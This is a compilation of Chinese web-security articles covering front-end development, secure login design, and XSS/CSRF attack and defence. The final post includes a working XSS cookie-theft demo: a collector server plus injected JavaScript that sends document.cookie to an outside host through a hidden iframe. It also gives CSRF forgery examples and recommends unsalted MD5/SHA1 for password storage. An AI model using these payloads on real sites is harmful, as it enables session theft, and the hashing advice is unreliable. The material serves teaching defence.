前端开发的程序则不需要编译过程,只需要把代码扔给浏览器,浏览器边解析代码边执行。虽然js/css代码写完无需做任何事情浏览器就可以解析执行,但为了上面说的性能优化,前端代码上线前会对所有代码和资源文件进行处理,这些处理包括:压缩合并js/css,合并css sprite图,处理模块依赖,处理代码资源版本号,处理资源定位等。这个过程很像传统程序的编译,把给人看的代码优化处理成给机器看的,并解决一些依赖关系,可以算是前端的编译过程。像grunt.js/fis这些工具可以帮助完成这个编译过程,通常前端编译跟上线部署结合在一起,作为上线系统的一部分。
八、安全
前端和终端的安全性问题上虽然不需要像后端考虑得那么多,但还是有些需要注意。在请求的安全上,终端和前端都一样,用户向后端发送的请求都需要经过层层路由,不知道在哪里就被截获篡改或回放了,于是需要做一些措施防御这些情况,最常见的就是身份验证,多是采用会过期的token形式代替用户名密码,防止被抓包后黑客可以永远登陆这个账号。数据安全要求高的会用加密传输,或者使用https,另外还需要看情况处理一些DNS劫持,运营商广告植入等问题。
其他安全问题终端很少考虑,在未越狱的iOS机器上系统已经帮忙保证了整个APP运行环境的安全,而在越狱的机器下恶意程序拥有root权限可以做任何事情,APP也难以防范。前端方面浏览器的特性使前端开发有几个安全隐患,一是web页面上任意位置都可以动态插入js代码,浏览器会无区别地执行这些代码,二是身份验证信息都统一保存在cookie里,三是页面上可以随意通过iframe嵌入其他网站的页面。造成XSS、CSRF、cookie劫持这些攻击手段,所以前端写代码时都需要考虑还这些安全问题,做好相应的防范,最简单和重要的防范就是对所有用户输入输出的内容做完整的过滤,避免页面内被嵌入恶意代码。
九、交互/开发
最后说下对这两个领域在交互和开发上的个人感触。以前在做web前端时,感觉web让人机交互倒退了十年,交互都是硬邦邦的点击—啪一下出来结果,滚动是一格格地刷新,很多人当时在鼓吹html5可以做出多么炫的效果时,实际上FLASH在十年前就可以做出来了,还比最现代的浏览器更流畅。iPhone流行后,人机交互终于恢复了应有的水平,体验上比web流畅太多,指尖交互/流畅的动画/便捷的滑动手势/无限制的实现,主流终于恢复或超越了十年前Flash的水平。
但人机交互提升了,开发方式却大倒退,web的开发方式非常先进,用户用到的都是最新版本,发现bug可以马上上线秒修复,特别适用于互联网环境下的快速迭代,而终端APP不行,撇开iPhone的审核不说,Android也无法做到保证用户用的是最新的程序,用的都是传统的客户端更新的方式,bug的修复版无法及时给到用户,无法一天上线几十次,需要维护很多旧版本,开发方式倒退回web时代以前。这都是因为移动网络不稳定以及流量有限造成的,移动端无法像桌面端浏览器那样完全依赖网络,所以在移动网络稳定流量免费之前,开发方式都不会有多大变化。
另外并不看好HTML5,网络上说它可以取代APP说了三四年,到现在也没什么战绩,我看不到它的优势,原生APP可以获得更多的系统资源,更流畅的人机交互体验,HTML5在这方面永远比不上,而它在移动端网络和流量的限制下也无法发挥web的开发优势,所以它不会成为主流,只适合做一些轻量的小东西。
如何设计安全的用户登录功能
Web上的用户登录功能应该是最基本的功能了,可是在我看过一些站点的用户登录功能后,我觉得很有必要写一篇文章教大家怎么来做用户登录功能。下面的文章告诉大家这个功能可能并没有你所想像的那么简单,这是一个关系到用户安全的功能,希望大家能从下面的文章中能知道什么样的方法才是一个好的用户登录功能。
用户名和口令
首先,我们先来说说用户名和口令的事。这并不是本站第一次谈论这个事了。如何管理自己的口令让你知道怎么管理自己的口令,破解你的口令让你知道在现代这样速度的计算速度下,用穷举法破解你的口令可能会是一件很轻松的事。在这里我想告诉从开发者的角度上来做设计这个用户名和口令的事。下面一几件规则:
限制用户输入一些非常容易被破解的口令。如什么qwert,123456, password之类,就像twitter限制用户的口令一样做一个口令的黑名单。另外,你可以限制用户口令的长度,是否有大小写,是否有数字,你可以用你的程序做一下校验。当然,这可能会让用户感到很不爽,所以,现在很多网站都提供了UX让用户知道他的口令强度是什么样的(比如这个有趣的UX),这样可以让用户有一个选择,目的就是告诉用户——要想安全,先把口令设得好一点。
千万不要明文保存用户的口令。正如如何管理自己的口令所说的一样,很多时候,用户都会用相同的ID相同的口令来登录很多网站。所以,如果你的网站明文保存的话,那么,如果你的数据被你的不良员工流传出去那对用户是灾难性的。所以,用户的口令一定要加密保存,最好是用不可逆的加密,如MD5或是SHA1之类的有hash算法的不可逆的加密算法。CSDN曾明文保存过用户的口令。(另,对于国内公司的品行以及有关部门的管理方式,我不敢保证国内网站以加密的方式保存你的口令。我觉得,做为一个有良知的人,我们应该加密保存用户的口令)
是否让浏览器保存口令。我们有N多的方法可以不让浏览器保存用户名和口令。但是这可能对用户来说很不爽。因为在真实世界里谁也记得不住那么多的口令。很多用户可能会使用一些密码管理工具来保存密码,浏览器只是其中一种。是否让浏览器保存这个需要你做决定,重点是看一下你的系统的安全级别是否要求比较高,如果是的话,则不要让浏览器保存密码,并在网站明显的位置告诉用户——保存口令最安全的地方只有你的大脑。
口令在网上的传输。因为HTTP是明文协议,所以,用户名和口令在网上也是明文发送的,这个很不安全。你可以看看这篇文章你就明白了。要做到加密传输就必需使用HTTPS协议。但是,在中国还是有很多网站的Web登录方式还在使用ActiveX控件,这可能成为IE6还大量存在的原因。我通常理解为这些ActiveX控件是为了反键盘记录程序的。不过,我依然觉ActiveX控件不应该存在,因为在国外的众多安全很重要的站点上都看不到ActiveX的控件的身影。
用户登录状态
首先,我想告诉大家的是,因为HTTP是无状态的协议,也就是说,这个协议是无法记录用户访问状态的,其每次请求都是独立的无关联的,一笔是一笔。而我们的网站都是设计成多个页面的,所在页面跳转过程中我们需要知道用户的状态,尤其是用户登录的状态,这样我们在页面跳转后我们才知道是否可以让用户有权限来操作一些功能或是查看一些数据。
所以,我们每个页面都需要对用户的身份进行认证。当然,我们不可能让用户在每个页面上输入用户名和口令,这会让用户觉得我们的网站相当的SB。为了实现这一功能,用得最多的技术就是浏览器的cookie,我们会把用户登录的信息存放在客户端的cookie里,这样,我们每个页面都从这个cookie里获得用户是否登录的信息,从而达到记录状态,验证用户的目的。但是,你真的会用cookie吗?下面是使用cookie的一些原则。
千万不要在cookie中存放用户的密码。加密的密码都不行。因为这个密码可以被人获取并尝试离线穷举。所以,你一定不能把用户的密码保存在cookie中。我看到太多的站点这么干了。
正确设计“记住密码”。这个功能简直就是一个安全隐患,我觉得并不是所有的程序员都知道怎么设计这个事。一般的设计是——一时用户勾选了这个功能,系统会生成一个cookie,cookie包括用户名和一个固定的散列值,这个固定的散列值一直使用。这样,你就可以在所有的设备和客户上都可以登录,而且可以有多个用户同时登录。这个并不是很安全。下面是一些更为安全的方法供你参考:
(——更新 2011/08/26,原文中有些小错误,并且说的不清楚,重新调整了一下——)
1)在cookie中,保存三个东西——用户名,登录序列,登录token。
用户名:明文存放。
登录序列:一个被MD5散列过的随机数,仅当强制用户输入口令时更新(如:用户修改了口令)。
登录token:一个被MD5散列过的随机数,仅一个登录session内有效,新的登录session会更新它。
2)上述三个东西会存在服务器上,服务器的验证用户需要验证客户端cookie里的这三个事。
3)这样的设计会有什么样的效果,会有下面的效果,
a)登录token是单实例登录。意思就是一个用户只能有一个登录实例。
b)登录序列是用来做盗用行为检测的。如果用户的cookie被盗后,盗用者使用这个cookie访问网站时,我们的系统是以为是合法用户,然后更新“登录token”,而真正的用户回来访问时,系统发现只有“用户名”和“登录序列”相同,但是“登录token”不对,这样的话,系统就知道,这个用户可能出现了被盗用的情况,于是,系统可以清除并更改登录序列 和 登录token,这样就可以令所有的cookie失效,并要求用户输入口令。并给警告用户系统安全。
4)当然,上述这样的设计还是会有一些问题,比如:同一用户的不同设备登录,甚至在同一个设备上使用不同的浏览器保登录。一个设备会让另一个设备的登录token和登录序列失效,从而让其它设备和浏览器需要重新登录,并会造成cookie被盗用的假象。所以,你在服务器服还需要考虑- IP 地址,
a)如果以口令方式登录,我们无需更新服务器的“登录序列”和 “登录token”(但需要更新cookie)。因为我们认为口令只有真正的用户知道。
b)如果 IP相同 ,那么,我们无需更新服务器的“登录序列”和 “登录token”(但需要更新cookie)。因为我们认为是同一用户有同一IP(当然,同一个局域网里也有同一IP,但我们认为这个局域网是用户可以控制的。网吧内并不推荐使用这一功能)。
c)如果(IP不同 没有用口令登录),那么,“登录token”就会在多个IP间发生变化(登录token在两个或多个ip间被来来回回的变换),当在一定时间内达到一定次数后,系统才会真正觉得被盗用的可能性很高,此时系统在后台清除“登录序列”和“登录token“,让Cookie失效,强制用户输入口令(或是要求用户更改口令),以保证多台设备上的cookie一致。
不要让cookie有权限访问所有的操作。否则就是XSS攻击,这个功能请参看新浪微博的XSS攻击。下面的这些功能一定要用户输入口令:
1)修改口令。
2)修改电子邮件。(电子邮件通过用来找回用户密码)
3)用户的隐私信息。
4)用户消费功能。
权衡Cookie的过期时间。如果是永不过期,会有很不错的用户体验,但是这也会让用户很快就忘了登录密码。如果设置上过期期限,比如2周,一个月,那么可能会好一点,但是2周和一个月后,用户依然会忘了密码。尤其是用户在一些公共电脑上,如果保存了永久cookie的话,等于泄露了帐号。所以,对于cookie的过期时间我们还需要权衡。
找回口令的功能
找回口令的功能一定要提供。但是很多朋友并不知道怎么来设计这个功能。我们有很多找回口令的设计,下面我逐个点评一下。
千万不要使用安全问答。事实证明,这个环节很烦人,而且用户并不能很好的设置安全问答。什么,我的生日啊,我母亲的生日,等等。因为今天的互联网和以前不一样了,因为SNS,今天的互联比以前更真实了,我可以上facebook,开心,人人网,LinkedIn查到你的很多的真实的信息。通过这些信息我可以使用安全问答来重设你的口令。这里需要说一下 Facebook,Facebook的安全问答很强大,还要你通过照片认人,呵呵。
不要重置用户的密码。因为这有可能让用户的密码遭到恶意攻击。当然,你要发个邮件给用户让其确认,用户点击邮件中的一个链接,你再重置。我并不推荐这样的方法,因为用户一般都会用笔记下来这个很难记的口令,然后登录系统,因为登录系统时使用了“记住密码”的功能,所以导致用户不会去修改密码,从而要么导到被写下来的密码被人盗取,要么又忘记了密码。
好一点的做法——通过邮件自行重置。当用户申请找回口令功能的时候,系统生成一个MD5唯一的随机字串(可通过UID+IP+timestamp+随机数),放在数据库中,然后设置上时限(比如1小时内),给用户发一个邮件,这个连接中包含那个MD5的字串的链接,用户通过点击那个链接来自己重新设置新的口令。
更好一点的做法——多重认证。比如:通过手机+邮件的方式让用户输入验证码。手机+邮件可能还不把握,因为手机要能会丢了,而我的手机可以访问我的邮箱。所以,使用U盾,SecureID(一个会变化的6位数token),或是通过人工的方式核实用户身份。当然,这主要看你的系统的安全级别了。
口令探测防守
使用验证码。验证码是后台随机产生的一个短暂的验证码,这个验证码一般是一个计算机很难识别的图片。这样就可以防止以程序的方式来尝试用户的口令。事实证明,这是最简单也最有效的方式。当然,总是让用户输入那些肉眼都看不清的验证码的用户体验不好,所以,可以折中一下。比如Google,当他发现一个IP地址发出大量的搜索后,其会要求你输入验证码。当他发现同一个IP注册了3个以上的gmail邮箱后,他需要给你发短信方式或是电话方式的验证码。
用户口令失败次数。调置口令失败的上限,如果失败过多,则把帐号锁了,需要用户以找回口令的方式来重新激活帐号。但是,这个功能可能会被恶意人使用。最好的方法是,增加其尝试的时间成本(以前的这篇文章说过一个增加时间成本的解密算法)。如,两次口令尝试的间隔是5秒钟。三次以上错误,帐号被临时锁上30秒,5次以上帐号被锁1分钟,10次以上错误帐号被锁4小时……
系统全局防守。上述的防守只针对某一个别用户。恶意者们深知这一点,所以,他们一般会动用“僵尸网络”轮着尝试一堆用户的口令,所以上述的那种方法可能还不够好。我们需要在系统全局域上监控所有的口令失败的次数。当然,这个需要我们平时没有受到攻击时的数据做为支持。比如你的系统,平均每天有5000次的口令错误的事件,那么你可以认为,当口令错误大幅超过这个数后,而且时间相对集中,就说明有黑客攻击。这个时候你怎么办?一般最常见使用的方法是让所有的用户输错口令后再次尝试的时间成本增加。
最后,再说一下,关于用户登录,使用第三方的 OAuth 和 OpenID 也不失为一个很不错的选择。
什么是xss攻击?
一、什么是跨站脚本攻击
跨站脚本攻击(Cross Site Scripting)缩写为CSS,但这会与层叠样式表(Cascading Style Sheets,CSS)的缩写混淆。通常将跨站脚本攻击缩写为XSS。
跨站脚本攻击(XSS),是最普遍的Web应用安全漏洞。这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的。
二、跨站脚本攻击的种类
从攻击代码的工作方式可以分为三个类型:
1、持久型跨站:最直接的危害类型,跨站代码存储在服务器(数据库)。
2、非持久型跨站:反射型跨站脚本漏洞,最普遍的类型。用户访问服务器-跨站链接-返回跨站代码。
3、DOM跨站(DOM XSS):DOM(document object model文档对象模型),客户端脚本处理逻辑导致的安全问题。
三、跨站脚本攻击的手段和目的
常用的XSS攻击手段和目的有:
1、盗用cookie,获取敏感信息。
2、利用植入Flash,通过crossdomain权限设置进一步获取更高权限;或者利用Java等得到类似的操作。
3、利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作。
4、利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
5、在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDoS攻击的效果。
四、跨站脚本攻击的防御
XSS攻击主要是由程序漏洞造成的,要完全防止XSS安全漏洞主要依靠程序员较高的编程能力和安全意识,当然安全的软件开发流程及其他一些编程安全原则也可以大大减少XSS安全漏洞的发生。这些防范XSS漏洞原则包括:
1、不信任用户提交的任何内容,对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、REFER、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。尽量采用POST而非GET提交表单;对“”,“”,“;”,“””等字符做过滤;任何内容输出到页面之前都必须加以en-code,避免不小心把htmltag显示出来。
2、实现Session 标记(session tokens)、CAPTCHA(验证码)系统或者HTTP引用头检查,以防功能被第三方网站所执行,对于用户提交信息的中的img等link,检查是否有重定向回本站、不是真的图片等可疑操作。
3、cookie 防盗。避免直接在cookie中泄露用户隐私,例如email、密码,等等;通过使cookie和系统IP绑定来降低cookie泄露后的危险。这样攻击者得到的cookie没有实际价值,很难拿来直接进行重放攻击。
4、确认接收的内容被妥善地规范化,仅包含最小的、安全的Tag(没有JavaScript),去掉任何对远程内容的引用(尤其是样式表和JavaScript),使用HTTPonly的cookie。
前端安全方面有没有了解?xss和csrf如何攻防
在那个年代,大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用,于是 SQL 注入成了很流行的攻击方式。在这个年代, 参数化查询 已经成了普遍用法,我们已经离 SQL 注入很远了。但是,历史同样悠久的 XSS 和 CSRF 却没有远离我们。由于之前已经对 XSS 很熟悉了,所以我对用户输入的数据一直非常小心。如果输入的时候没有经过 Tidy 之类的过滤,我一定会在模板输出时候全部转义。所以个人感觉,要避免 XSS 也是很容易的,重点是要“小心”。但最近又听说了另一种跨站攻击 CSRF ,于是找了些资料了解了一下,并与 XSS 放在一起做个比较。
XSS:脚本中的不速之客
XSS 全称“跨站脚本”,是注入攻击的一种。其特点是不对服务器端造成任何伤害,而是通过一些正常的站内交互途径,例如发布评论,提交含有 JavaScript 的内容文本。这时服务器端如果没有过滤或转义掉这些脚本,作为内容发布到了页面上,其他用户访问这个页面的时候就会运行这些脚本。
运行预期之外的脚本带来的后果有很多中,可能只是简单的恶作剧——一个关不掉的窗口:
1
2
3
while (true) {
alert("你关不掉我~");
}
也可以是盗号或者其他未授权的操作——我们来模拟一下这个过程,先建立一个用来收集信息的服务器:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python
#-*- coding:utf-8 -*-
"""
跨站脚本注入的信息收集服务器
"""
import bottle
app = bottle.Bottle()
plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')
app.install(plugin)
@app.route('/myxss/')
def show(cookies, db):
SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)'
try:
db.execute(SQL, cookies)
except:
pass
return ""
if __name__ == "__main__":
app.run()
然后在某一个页面的评论中注入这段代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 用 script type="text/javascript"/script 包起来放在评论中
(function(window, document) {
// 构造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "http://192.168.123.123/myxss/";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隐藏 iframe 用于通讯
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 开工
document.body.appendChild(hideFrame);
})(window, document);
于是每个访问到含有该评论的页面的用户都会遇到麻烦——他们不知道背后正悄悄的发起了一个请求,是他们所看不到的。而这个请求,会把包含了他们的帐号和其他隐私的信息发送到收集服务器上。
我们知道 AJAX 技术所使用的 XMLHttpRequest 对象都被浏览器做了限制,只能访问当前域名下的 URL,所谓不能“跨域”问题。这种做法的初衷也是防范 XSS,多多少少都起了一些作用,但不是总是有用,正如上面的注入代码,用 iframe 也一样可以达到相同的目的。甚至在愿意的情况下,我还能用 iframe 发起 POST 请求。当然,现在一些浏览器能够很智能地分析出部分 XSS 并予以拦截,例如新版的 Firefox、Chrome 都能这么做。但拦截不总是能成功,何况这个世界上还有大量根本不知道什么是浏览器的用户在用着可怕的 IE6。从原则上将,我们也不应该把事关安全性的责任推脱给浏览器,所以防止 XSS 的根本之道还是过滤用户输入。用户输入总是不可信任的,这点对于 Web 开发者应该是常识。
正如上文所说,如果我们不需要用户输入 HTML 而只想让他们输入纯文本,那么把所有用户输入进行 HTML 转义输出是个不错的做法。似乎很多 Web 开发框架、模版引擎的开发者也发现了这一点,Django 内置模版和 Jinja2 模版总是默认转义输出变量的。如果没有使用它们,我们自己也可以这么做。PHP 可以用 htmlspecialchars 函数,Python 可以导入 cgi 模块用其中的 cgi.escape 函数。如果使用了某款模版引擎,那么其必自带了方便快捷的转义方式。
真正麻烦的是,在一些场合我们要允许用户输入 HTML,又要过滤其中的脚本。Tidy 等 HTML 清理库可以帮忙,但前提是我们小心地使用。仅仅粗暴地去掉 script 标签是没有用的,任何一个合法 HTML 标签都可以添加 onclick 一类的事件属性来执行 JavaScript。对于复杂的情况,我个人更倾向于使用简单的方法处理,简单的方法就是白名单重新整理。用户输入的 HTML 可能拥有很复杂的结构,但我们并不将这些数据直接存入数据库,而是使用 HTML 解析库遍历节点,获取其中数据(之所以不使用 XML 解析库是因为 HTML 要求有较强的容错性)。然后根据用户原有的标签属性,重新构建 HTML 元素树。构建的过程中,所有的标签、属性都只从白名单中拿取。这样可以确保万无一失——如果用户的某种复杂输入不能为解析器所识别(前面说了 HTML 不同于 XML,要求有很强的容错性),那么它不会成为漏网之鱼,因为白名单重新整理的策略会直接丢弃掉这些未能识别的部分。最后获得的新 HTML 元素树,我们可以拍胸脯保证——所有的标签、属性都来自白名单,一定不会遗漏。
现在看来,大多数 Web 开发者都了解 XSS 并知道如何防范,往往大型的 XSS 攻击(包括前段时间新浪微博的 XSS 注入)都是由于疏漏。我个人建议在使用模版引擎的 Web 项目中,开启(或不要关闭)类似 Django Template、Jinja2 中“默认转义”(Auto Escape)的功能。在不需要转义的场合,我们可以用类似 的方式取消转义。这种白名单式的做法,有助于降低我们由于疏漏留下 XSS 漏洞的风险。
另外一个风险集中区域,是富 AJAX 类应用(例如豆瓣网的阿尔法城)。这类应用的风险并不集中在 HTTP 的静态响应内容,所以不是开启模版自动转义能就能一劳永逸的。再加上这类应用往往需要跨域,开发者不得不自己打开危险的大门。这种情况下,站点的安全非常 依赖开发者的细心和应用上线前有效的测试。现在亦有不少开源的 XSS 漏洞测试软件包(似乎有篇文章提到豆瓣网的开发也使用自动化 XSS 测试),但我都没试用过,故不予评价。不管怎么说,我认为从用户输入的地方把好关总是成本最低而又最有效的做法。
CSRF:冒充用户之手
起初我一直弄不清楚 CSRF 究竟和 XSS 有什么区别,后来才明白 CSRF 和 XSS 根本是两个不同维度上的分类。XSS 是实现 CSRF 的诸多途径中的一条,但绝对不是唯一的一条。一般习惯上把通过 XSS 来实现的 CSRF 称为 XSRF。
CSRF 的全称是“跨站请求伪造”,而 XSS 的全称是“跨站脚本”。看起来有点相似,它们都是属于跨站攻击——不攻击服务器端而攻击正常访问网站的用户,但前面说了,它们的攻击类型是不同维度上的分 类。CSRF 顾名思义,是伪造请求,冒充用户在站内的正常操作。我们知道,绝大多数网站是通过 cookie 等方式辨识用户身份(包括使用服务器端 Session 的网站,因为 Session ID 也是大多保存在 cookie 里面的),再予以授权的。所以要伪造用户的正常操作,最好的方法是通过 XSS 或链接欺骗等途径,让用户在本机(即拥有身份 cookie 的浏览器端)发起用户所不知道的请求。
严格意义上来说,CSRF 不能分类为注入攻击,因为 CSRF 的实现途径远远不止 XSS 注入这一条。通过 XSS 来实现 CSRF 易如反掌,但对于设计不佳的网站,一条正常的链接都能造成 CSRF。
例如,一论坛网站的发贴是通过 GET 请求访问,点击发贴之后 JS 把发贴内容拼接成目标 URL 并访问:
http://example.com/bbs/create_post.php?title=标题content=内容
那么,我只需要在论坛中发一帖,包含一链接:
http://example.com/bbs/create_post.php?title=我是脑残content=哈哈
只要有用户点击了这个链接,那么他们的帐户就会在不知情的情况下发布了这一帖子。可能这只是个恶作剧,但是既然发贴的请求可以伪造,那么删帖、转帐、改密码、发邮件全都可以伪造。
如何解决这个问题,我们是否可以效仿上文应对 XSS 的做法呢?过滤用户输入, 不允许发布这种含有站内操作 URL 的链接。这么做可能会有点用,但阻挡不了 CSRF,因为攻击者可以通过 QQ 或其他网站把这个链接发布上去,为了伪装可能还使用 bit.ly 压缩一下网址,这样点击到这个链接的用户还是一样会中招。所以对待 CSRF ,我们的视角需要和对待 XSS 有所区别。CSRF 并不一定要有站内的输入,因为它并不属于注入攻击,而是请求伪造。被伪造的请求可以是任何来源,而非一定是站内。所以我们唯有一条路可行,就是过滤请求的 处理者。
比较头痛的是,因为请求可以从任何一方发起,而发起请求的方式多种多样,可以通过 iframe、ajax(这个不能跨域,得先 XSS)、Flash 内部发起请求(总是个大隐患)。由于几乎没有彻底杜绝 CSRF 的方式,我们一般的做法,是以各种方式提高攻击的门槛。
首先可以提高的一个门槛,就是改良站内 API 的设计。对于发布帖子这一类创建资源的操作,应该只接受 POST 请求,而 GET 请求应该只浏览而不改变服务器端资源。当然,最理想的做法是使用 REST 风格 的 API 设计,GET、POST、PUT、DELETE 四种请求方法对应资源的读取、创建、修改、删除。现在的浏览器基本不支持在表单中使用 PUT 和 DELETE 请求方法,我们可以使用 ajax 提交请求(例如通过 jquery-form 插件,我最喜欢的做法),也可以使用隐藏域指定请求方法,然后用 POST 模拟 PUT 和 DELETE (Ruby on Rails 的做法)。这么一来,不同的资源操作区分的非常清楚,我们把问题域缩小到了非 GET 类型的请求上——攻击者已经不可能通过发布链接来伪造请求了,但他们仍可以发布表单,或者在其他站点上使用我们肉眼不可见的表单,在后台用 js 操作,伪造请求。
接下来我们就可以用比较简单也比较有效的方法来防御 CSRF,这个方法就是“请求令牌”。读过《J2EE 核心模式》的同学应该对“同步令牌”应该不会陌生,“请求令牌”和“同步令牌”原理是一样的,只不过目的不同,后者是为了解决 POST 请求重复提交问题,前者是为了保证收到的请求一定来自预期的页面。实现方法非常简单,首先服务器端要以某种策略生成随机字符串,作为令牌(token), 保存在 Session 里。然后在发出请求的页面,把该令牌以隐藏域一类的形式,与其他信息一并发出。在接收请求的页面,把接收到的信息中的令牌与 Session 中的令牌比较,只有一致的时候才处理请求,否则返回 HTTP 403 拒绝请求或者要求用户重新登陆验证身份。
请求令牌虽然使用起来简单,但并非不可破解,使用不当会增加安全隐患。使用请求令牌来防止 CSRF 有以下几点要注意:
虽然请求令牌原理和验证码有相似之处,但不应该像验证码一样,全局使用一个 Session Key。因为请求令牌的方法在理论上是可破解的,破解方式是解析来源页面的文本,获取令牌内容。如果全局使用一个 Session Key,那么危险系数会上升。原则上来说,每个页面的请求令牌都应该放在独立的 Session Key 中。我们在设计服务器端的时候,可以稍加封装,编写一个令牌工具包,将页面的标识作为 Session 中保存令牌的键。
在 ajax 技术应用较多的场合,因为很有请求是 JavaScript 发起的,使用静态的模版输出令牌值或多或少有些不方便。但无论如何,请不要提供直接获取令牌值的 API。这么做无疑是锁上了大门,却又把钥匙放在门口,让我们的请求令牌退化为同步令牌。
第一点说了请求令牌理论上是可破解的,所以非常重要的场合,应该考虑使用验证码(令牌的一种升级,目前来看破解难度极大),或者要求用户再次输入密码(亚马逊、淘宝的做法)。但这两种方式用户体验都不好,所以需要产品开发者权衡。
无论是普通的请求令牌还是验证码,服务器端验证过一定记得销毁。忘记销毁用过的令牌是个很低级但是杀伤力很大的错误。我们学校的选课系统就有这个 问题,验证码用完并未销毁,故只要获取一次验证码图片,其中的验证码可以在多次请求中使用(只要不再次刷新验证码图片),一直用到 Session 超时。这也是为何选课系统加了验证码,外挂软件升级一次之后仍然畅通无阻。
如下也列出一些据说能有效防范 CSRF,其实效果甚微的方式甚至无效的做法。
通过 referer 判定来源页面:referer 是在 HTTP Request Head 里面的,也就是由请求的发送者决定的。如果我喜欢,可以给 referer 任何值。当然这个做法并不是毫无作用,起码可以防小白。但我觉得性价比不如令牌。
过滤所有用户发布的链接:这个是最无效的做法,因为首先攻击者不一定要从站内发起请求(上面提到过了),而且就算从站内发起请求,途径也远远不知链接一条。比如 img src="./create_post.php" / 就是个不错的选择,还不需要用户去点击,只要用户的浏览器会自动加载图片,就会自动发起请求。 *在请求发起页面用 alert 弹窗提醒用户:这个方法看上去能干扰站外通过 iframe 发起的 CSRF,但攻击者也可以考虑用 window.alert = function(){}; 把 alert 弄哑,或者干脆脱离 iframe,使用 Flash 来达到目的。
总体来说,目前防御 CSRF 的诸多方法还没几个能彻底无解的。所以 CSDN 上看到讨论 CSRF 的文章,一般都会含有“无耻”二字来形容(另一位有该名号的貌似是 DDOS 攻击)。作为开发者,我们能做的就是尽量提高破解难度。当破解难度达到一定程度,网站就逼近于绝对安全的位置了(虽然不能到达)。上述请求令牌方法,就我 认为是最有可扩展性的,因为其原理和 CSRF 原理是相克的。CSRF 难以防御之处就在于对服务器端来说,伪造的请求和正常的请求本质上是一致的。而请求令牌的方法,则是揪出这种请求上的唯一区别——来源页面不同。我们还可 以做进一步的工作,例如让页面中 token 的 key 动态化,进一步提高攻击者的门槛。本文只是我个人认识的一个总结,便不讨论过深了。